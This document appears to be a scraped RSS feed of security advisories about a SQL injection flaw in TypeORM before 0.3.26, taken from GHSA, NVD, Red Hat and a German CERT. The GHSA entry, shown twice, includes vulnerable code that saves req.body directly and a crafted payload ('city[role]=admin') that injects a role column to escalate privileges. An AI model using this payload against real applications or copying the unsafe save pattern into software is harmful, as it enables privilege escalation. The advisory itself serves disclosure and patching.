https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 13 Oct 2026 07:33:04 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-257309 EUVD-2026-257309 https://cve.radiocsirt.org/vuln/euvd-2026-257309 https://cve.radiocsirt.org/vuln/fkie_cve-2025-60542 <p>SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.</p> <p>SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2025-60542 https://cve.radiocsirt.org/vuln/ghsa-q2pj-6v73-8rgj <p><strong>Affected:</strong> npm: typeorm</p> <p>### Summary</p> <p>SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.</p> <p>### Details</p> <p>Vulnerable Code:</p> <p>```js const { username, city, name} = req.body; const updateData = { username, city, name, id:userId }; // Developer aims to only allow above three fields to be updated const result = await userRepo.save(updateData); ```</p> <p>Intended Payload (non-malicious):</p> <p>` username=myusername&amp;city=Riga&amp;name=Javad `</p> <p>_OR_</p> <p>`{username:\&#34;myusername\&#34;,phone:12345,name:\&#34;Javad\&#34;} `</p> <p>SQL query produced:</p> <p>```sql UPDATE `user` SET `username` = &#39;myusername&#39;, `city` = &#39;Riga&#39;, `name` = &#39;Javad&#39; WHERE `id` IN (1);</p> <p>```</p> <p>Malicious Payload:</p> <p>`username=myusername&amp;city[name]=Riga&amp;city[role]=admin `</p> <p>_OR_</p> <p>`{username:\&#34;myusername\&#34;,city:{name:\&#34;Javad\&#34;,role:\&#34;admin\&#34;}} `</p> <p>SQL query produced with Injected Column:</p> <p>```sql UPDATE `user` SET `username` = &#39;myusername&#39;, `city` = `name` = &#39;Javad&#39;, `role` = &#39;admin&#39; WHERE `id` IN (1);</p> <p>``` _Above query is valid as `city` = `name` = `Javad` is a boolean expression resulting in `city` = 1 (false). “role” column is injected and updated._</p> <p>Underlying issue was due to TypeORM using mysql2 [without specifying a value for the stringifyObjects option](https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts). In both mysql and mysql2 this [option defaults to false](https://g…</p> <p><strong>Affected:</strong> npm: typeorm</p> <p>### Summary</p> <p>SQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.</p> <p>### Details</p> <p>Vulnerable Code:</p> <p>```js const { username, city, name} = req.body; const updateData = { username, city, name, id:userId }; // Developer aims to only allow above three fields to be updated const result = await userRepo.save(updateData); ```</p> <p>Intended Payload (non-malicious):</p> <p>` username=myusername&amp;city=Riga&amp;name=Javad `</p> <p>_OR_</p> <p>`{username:\&#34;myusername\&#34;,phone:12345,name:\&#34;Javad\&#34;} `</p> <p>SQL query produced:</p> <p>```sql UPDATE `user` SET `username` = &#39;myusername&#39;, `city` = &#39;Riga&#39;, `name` = &#39;Javad&#39; WHERE `id` IN (1);</p> <p>```</p> <p>Malicious Payload:</p> <p>`username=myusername&amp;city[name]=Riga&amp;city[role]=admin `</p> <p>_OR_</p> <p>`{username:\&#34;myusername\&#34;,city:{name:\&#34;Javad\&#34;,role:\&#34;admin\&#34;}} `</p> <p>SQL query produced with Injected Column:</p> <p>```sql UPDATE `user` SET `username` = &#39;myusername&#39;, `city` = `name` = &#39;Javad&#39;, `role` = &#39;admin&#39; WHERE `id` IN (1);</p> <p>``` _Above query is valid as `city` = `name` = `Javad` is a boolean expression resulting in `city` = 1 (false). “role” column is injected and updated._</p> <p>Underlying issue was due to TypeORM using mysql2 [without specifying a value for the stringifyObjects option](https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts). In both mysql and mysql2 this [option defaults to false](https://g…</p> https://cve.radiocsirt.org/vuln/ghsa-q2pj-6v73-8rgj https://cve.radiocsirt.org/vuln/rhsa-2025:22404 <p>TypeORM: SQL Injection via crafted request to repository.save or repository.update</p> <p>TypeORM: SQL Injection via crafted request to repository.save or repository.update</p> https://cve.radiocsirt.org/vuln/rhsa-2025:22404 https://cve.radiocsirt.org/vuln/wid-sec-w-2025-2702 <p>Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux Developer Hub ausnutzen, um eine SQL-Injection durchzuführen und möglicherweise Sicherheitsmaßnahmen zu umgehen, Daten zu ändern oder Berechtigungen zu erweitern.</p> <p>Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux Developer Hub ausnutzen, um eine SQL-Injection durchzuführen und möglicherweise Sicherheitsmaßnahmen zu umgehen, Daten zu ändern oder Berechtigungen zu erweitern.</p> https://cve.radiocsirt.org/vuln/wid-sec-w-2025-2702